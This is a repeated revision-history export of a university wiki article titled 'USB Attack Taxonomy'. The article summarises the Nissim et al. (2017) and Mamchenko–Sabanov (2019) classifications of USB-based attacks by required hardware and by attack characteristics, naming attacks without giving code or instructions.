[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name&amp;quot;usbcametobe&amp;quot;&amp;gt; https://spectrum.ieee.org/how-usb-came-to-be, accessed on 22 Sep 2024 &amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17057</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17057"/>
		<updated>2024-12-13T14:07:06Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices &amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks &amp;lt;ref name=&amp;quot;nissim2027&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name&amp;quot;usbcametobe&amp;quot;&amp;gt; https://spectrum.ieee.org/how-usb-came-to-be, accessed on 22 Sep 2024 &amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17056</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17056"/>
		<updated>2024-12-13T13:52:04Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices &amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17055</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17055"/>
		<updated>2024-12-13T13:51:34Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices &amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
